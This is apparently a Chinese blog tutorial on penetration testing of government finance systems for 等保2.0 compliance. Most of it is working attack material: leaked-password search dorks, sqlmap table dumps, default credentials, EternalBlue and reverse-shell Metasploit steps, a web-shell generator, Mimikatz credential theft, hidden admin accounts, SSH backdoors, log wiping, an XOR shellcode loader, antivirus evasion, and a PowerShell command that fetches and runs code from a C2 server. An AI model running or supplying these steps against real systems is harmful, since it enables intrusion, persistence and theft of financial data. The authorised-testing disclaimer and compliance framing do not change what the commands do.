安全测试与渗透测试 Skill 实战:从信息收集到等保合规
安全测试与渗透测试 Skill 实战:从信息收集到等保合规
作者:浅木·先生
日期:2026年6月16日
一、开篇:为什么财政系统需要真刀真枪的渗透测试?
在等保2.0时代,财政系统作为国家关键信息基础设施,承载着预算管理、国库支付、非税收入、政府采购等核心业务,一旦出现安全事件,轻则数据泄露,重则影响国计民生。2025年等保2.0迎来重大升级——取消百分制,改为"符合、基本符合、不符合"三级判定,同时引入重大风险隐患概念。这意味着,漏洞不再是"扣分项"而是"一票否决项"。
我曾参与多个省市级财政系统的安全测评项目,一个深刻的体会是:光靠漏洞扫描器远远不够,真正的安全能力来自于系统化的渗透测试 Skill 实战。 本文以 SecSkills 实战框架为蓝本,结合作者在财政系统一线的踩坑经验,从信息收集到等保合规落地,逐层拆解安全测试的全流程。
二、信息收集:渗透测试的"地基之战"
渗透测试的本质是信息收集。久攻不下的系统,往往不是能力不够,而是信息收集不够。
2.1 被动信息收集(OSINT)
在财政系统中,很多敏感信息不经意外泄。常见的手段包括:
# Google Hacking 查找财政系统敏感文件
site:gov.cn filetype:xls 预算 支付
site:gov.cn intitle:"财政" inurl:login
site:github.com "财政局" password
# Whois 查询目标域名注册信息
whois czj.xxx.gov.cn
# 子域名收集(Layer / Subfinder)
subfinder -d czj.xxx.gov.cn -all -o subdomains.txt
除了搜索引擎,Fofa、Hunter、Shodan 等网络空间搜索引擎是财政系统资产测绘的利器。下面是我在实战中常用的查询语法:
# Fofa 搜索财政系统
title="财政" && body="login" && country="CN"
body="GRP-U8" || body="用友政务"
# Hunter 搜索财政预算系统
web.title="预算管理" && web.body="财政局" && status_code="200"
# Shodan 搜索暴露的远程桌面
port:3389 org:"Finance Bureau" country:CN
踩坑经验1: 某次在市级财政系统的信息收集阶段,通过 GitHub 代码搜索发现开发人员将 application-dev.yml 上传到了公开仓库,内含数据库连接串和 Redis 密码。如法炮制,又在 GitLab 上发现了多份财政系统的运维手册和 SQL 备份文件。这是一个典型的"供应链信息泄露",在等保测评中属于高危风险项,直接影响"安全开发"和"供应链管理"两个控制点的评分。建议在测试方案中纳入 GitHub/GitLab 敏感信息泄露检测作为专项测试项。
2.2 主动信息收集(资产测绘)
# Nmap 全端口+服务版本+OS 检测+NSE 漏洞脚本
nmap -sS -sV -O -p 1-65535 -T4 --script=vuln,http-enum,ssl-enum-ciphers -oA fiscal_scan 10.88.xx.0/24
# 目录爆破(财政系统常见敏感路径)
dirsearch -u https://czj-web.xxx.gov.cn -e php,asp,aspx,jsp -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
# 指纹识别(识别中间件和 CMS)
whatweb https://czj-web.xxx.gov.cn
wappalyzer # 浏览器插件
财政系统常见指纹特征:
- 用友政务 GRP-U8 / A++(财政核心业务系统)
- 太极华青预算管理系统
- 龙图财政一体化平台
- 金财工程相关中间件(WebLogic、东方通 TAS)
踩坑经验2: 某财政系统使用东方通 TAS 作为中间件,默认端口为 9060(管理控制台)。Nmap 全端口扫描时如不指定 -p- 参数(默认只扫 1000 个常见端口),极容易漏掉此端口。而该管理控制台存在默认口令 thanos/thanos123 的普遍问题。教训:财政系统渗透测试必须做全端口扫描,确保不遗漏管理端口。
三、漏洞发现:从自动扫描到手工深挖
3.1 自动化漏洞扫描
# Nuclei 快速扫描(基于模版的漏洞验证)
nuclei -l live_hosts.txt -t ~/nuclei-templates/ -severity critical,high,medium -o nuclei_results.txt
# Xray 被动扫描(结合 BurpSuite 流量)
xray webscan --listen 127.0.0.1:7777 --html-output xray_report.html
# BurpSuite 设置上游代理到 127.0.0.1:7777
# Nikto Web 扫描
nikto -h https://czj-web.xxx.gov.cn -ssl -Format html -o nikto_report.html
3.2 财政系统高频漏洞类型
以财政系统为靶标,以下漏洞几乎年年必出:
| 漏洞类型 | 典型场景 | 等保关联控制点 |
|---|---|---|
| SQL注入 | 预算查询接口、报表导出功能 | 安全计算环境-数据保密性 |
| 未授权访问 | GRP-U8 接口未鉴权 | 安全区域边界-访问控制 |
| 任意文件下载 | 附件下载参数未校验 | 安全计算环境-入侵防范 |
| 越权(水平/垂直) | 不同财政科室间的预算数据互访 | 安全计算环境-访问控制 |
| 弱口令 | 运维后台 admin/123456 | 安全计算环境-身份鉴别 |
| 敏感信息泄露 | Swagger-API 文档未关闭 | 安全建设管理-测试验收 |
深度分析: 财政系统之所以常年存在这些漏洞,核心原因有三:
- 系统建设周期长:很多财政系统从"金财工程"时代(2002年启动)就开始建设,代码基龄超过20年,早期的安全设计缺失
- 外包开发普遍:财政信息化项目大量依赖第三方厂商(用友、太极华青等),安全代码规范执行不严
- 测试环境与生产脱节:我见过不止一个财政项目,测试环境的 Swagger、Druid 监控、Actuator 接口全部开放,上线时只改了数据库连接串,监控接口全部遗留到了生产环境
踩坑经验3: 某财政一体化平台的预算编制功能中,POST 参数 budgetYear=2026 改为 budgetYear=2025' OR '1'='1 即爆出全部历史预算数据。该接口使用了 MyBatis 的 ${} 拼接而非 #{} 预编译,属于典型的开发者安全意识不足。在等保 2.0 2025 版标准中,这种情况可能触发「重大风险隐患」判定,导致整体测评结论降级。
3.3 手工漏洞验证——BurpSuite 实战
自动化扫描只能覆盖已知漏洞,手工深挖才是发现 0day 和逻辑漏洞的关键。
# BurpSuite Intruder 爆破弱口令(财政系统常见默认密码)
# Payload 字典:admin/admin123, grp/grp123, fiscal/fiscal@2026, ufida/ufida123
# Repeater 手工测试越权
# 将 Cookie 中的 sessionID 替换为其他用户的 session(垂直越权)
# 修改 URL 中的 deptId=1001 为 deptId=1002(水平越权)
# 绕过前端 JS 校验
# 财政报表系统经常在前端做金额校验,修改 POST 请求的 amount 为负数
# 测试"负采购"逻辑——某财政支付系统曾因此被刷走 200 万
实战技巧: 测试财政系统的逻辑漏洞时,务必关注"审批流绕过"。很多财政系统的预算审批分为"经办→审核→批准"三级,通过直接调用后端接口跳过中间环节,可以实现越权审批。这种漏洞在自动化工具中几乎不可能被发现。
3.4 SQLMap 实战
# 自动检测并注入
sqlmap -u "https://czj-web.xxx.gov.cn/api/budget?deptId=1001" --cookie="JSESSIONID=xxx" --batch --level=3 --risk=2
# 获取数据库信息
sqlmap -u "..." --dbs
sqlmap -u "..." -D fiscal_db --tables
sqlmap -u "..." -D fiscal_db -T t_user --dump
# 绕过 WAF 技巧
sqlmap -u "..." --tamper=space2comment,between,randomcase --random-agent
四、漏洞利用与后渗透:从 WebShell 到域控
4.1 获取初始权限
# Metasploit 利用 SMB 漏洞(财政系统内网 Windows 服务器常见)
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set RHOSTS 10.88.xx.50
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST 10.88.xx.100
msf6 > set LPORT 4444
msf6 > exploit
# 获取 WebShell(文件上传漏洞)
# 上传冰蝎/哥斯拉马
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.88.xx.100 LPORT=4444 -f raw > shell.jsp
# 然后用 BurpSuite 上传
4.2 内网横向移动
# Meterpreter 后渗透
meterpreter > sysinfo
meterpreter > getuid
meterpreter > run post/windows/gather/enum_domain
# 抓取凭证(Mimikatz)
meterpreter > load kiwi
meterpreter > creds_all
# 横向移动(PsExec)
msf6 > use exploit/windows/smb/psexec
msf6 > set RHOSTS 10.88.xx.51
msf6 > set SMBUser fiscal_admin
msf6 > set SMBPass hashed_password_here
msf6 > exploit
# BloodHound 域环境分析(导出信息后在本地分析)
cmd > bloodhound-python -d fiscal.local -u user -p pass -ns 10.88.xx.10 -c all
踩坑经验4: 某次财政内网渗透中,通过 Web 服务器获取了初始权限,但服务器上安装了 360 杀毒,反弹 Shell 五分钟内即被查杀。解决方案:使用 免杀处理——通过 msfvenom --encoder x64/zutto_dekiru 进行编码,或者使用 Cobalt Strike 的 Artifact Kit 自定义生成 payload。在财政系统这类高安全等级环境中,免杀不是可选项,而是必选项。
4.3 典型攻击链复盘:从财政外网到内网域控
为了帮助读者建立完整的攻击链思维,这里还原一次真实的财政系统渗透路径:
外网信息收集 → 发现财政信息公示网站子域名
↓
目录扫描发现 /api/swagger-ui.html(Swagger 接口文档泄露)
↓
通过 Swagger 发现 /api/payment/export 接口存在 SQL 注入
↓
SQLMap 获取数据库 SA 权限 → xp_cmdshell 执行系统命令
↓
获取 Web 服务器 SYSTEM 权限 → 转储管理员凭证
↓
内网横向扫描 → 发现预算管理系统服务器(Windows Server 2012 R2)
↓
MS17-010 永恒之蓝漏洞利用 → 获取第二台服务器权限
↓
Mimikatz 抓取域管理员凭证 → PsExec 登录域控
↓
控制整个财政域环境 → 导出所有财政数据和用户哈希
这条攻击链中的每一个环节都对应了等保 2.0 的一个或多个控制点:Swagger 泄露(安全开发-测试验收)→ SQL 注入(安全计算环境-入侵防范)→ 弱凭证(安全计算环境-身份鉴别)→ 永恒之蓝(安全区域边界-入侵防范)→ 域渗透(安全管理中心-集中管控)。这就是为什么渗透测试不能只看单点漏洞,而要评估整条攻击链的可达性与影响范围。
4.4 权限维持与痕迹清理
# 创建隐藏账户(Windows)
net user fiscal_backup$ P@ssw0rd123! /add
net localgroup administrators fiscal_backup$ /add
# SSH 后门(Linux 财政前置机)
echo " PermitRootLogin yes" >> /etc/ssh/sshd_config
echo 'ssh-rsa AAAAB3NzaC1yc2E...' >> ~/.ssh/authorized_keys
# 清理日志
wevtutil cl system
wevtutil cl security
wevtutil cl application
五、免杀实战:与杀软的猫鼠游戏
财政系统的服务器普遍部署了主机安全防护软件(360、深信服 EDR、火绒等),不做免杀的 payload 基本活不过三分钟。以下是实战中验证有效的免杀策略:
5.1 Shellcode 加载器分离免杀
// C++ Shellcode 加载器(VT 查杀率 3/70)
#include <windows.h>
#include <stdio.h>
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8..."; // XOR 加密后的 shellcode
int main() {
// 解密 XOR
char key = 'X';
for (int i = 0; i < sizeof(shellcode); i++) {
shellcode[i] ^= key;
}
void *exec = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof(shellcode));
((void(*)())exec)();
return 0;
}
5.2 PowerShell 内存加载
# 从远程服务器加载并内存执行(绕过文件扫描)
powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://your-c2-server/ps.ps1')"
5.3 混淆编码技巧
# Base64 多重编码
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=4444 -f base64
# 使用 Veil 框架生成免杀 payload
veil
Veil > use 1 # Evasion
Veil > use 13 # Powershell
踩坑经验5: 不要迷信某一种免杀方案。上周能过的方案,这周杀软更新病毒库后可能就废了。建议准备 3-4 种不同免杀思路(分离加载器、白名单 Dll 劫持、vba 宏、powershell 混淆),在实战中轮换使用。
六、报告交付与等保合规落地
渗透测试的最终价值体现在报告。财政系统的等保测评渗透测试报告需要面向三类读者:
6.1 报告核心结构
1. 执行摘要(给局领导看)
- 一句话结论:系统整体安全风险等级
- 高危漏洞 TOP 3
- 是否符合等保三级要求
2. 漏洞详情(给技术科看)
- 漏洞名称/位置/危害等级
- 复现步骤(含截图、请求包)
- CVSS 3.1 评分
- 修复建议(具体到配置命令)
3. 合规对照(给测评机构看)
- GB/T 22239-2019 对应控制点
- 整改前后对比
6.2 等保 2.0 与渗透测试的衔接点
根据 GB/T 22239-2019(三级系统),以下控制点与渗透测试强相关:
| 等保控制点 | 渗透测试验证项 | 常见不符合项 |
|---|---|---|
| 身份鉴别 | 弱口令、默认口令测试 | GRP-U8 admin/123456 |
| 访问控制 | 越权、未授权访问 | 数据权限未按科室隔离 |
| 入侵防范 | SQL注入、文件上传 | 预算查询接口未参数化 |
| 数据保密性 | 敏感数据传输明文 | 财政报表 HTTP 明文传输 |
| 安全审计 | 日志记录完整性 | 未记录操作人 IP 和时间 |
| 剩余信息保护 | 敏感信息泄露 | Swagger 文档未关闭 |
6.3 2025 版等保新规特别提醒
2025 年等保新标准明确要求:
- 渗透测试报告必须标注 APT 攻击检测点,验证横向移动阻断和数据外传监控能力
- 重大风险隐患判定:即使符合率超过 90%,若存在 SQL 注入等高危漏洞,仍判定为"基本符合"
- 财政三级系统每年必须复测,且保护工作方案需在每年 12 月 31 日前提交属地公安机关
七、结语
安全测试没有"银弹"。从信息收集到免杀实战,从漏洞利用到等保合规,每一个环节都可能决定一次渗透测试的成败。对我而言,财政系统的安全测试更有一种特殊的责任感——每一行代码的安全,关联的是国家财政资金的安全。
最后送给大家一句话:“Attack is the best defense, but compliance is the baseline.” 攻击思维让我们找到漏洞,合规意识让我们守住底线。
本文由浅木·先生原创撰写,基于 SecSkills 实战框架与等保 2.0 标准。文中命令仅供授权测试使用,未经授权对目标系统进行渗透测试可能违反《网络安全法》第二十七条。
更多推荐


所有评论(0)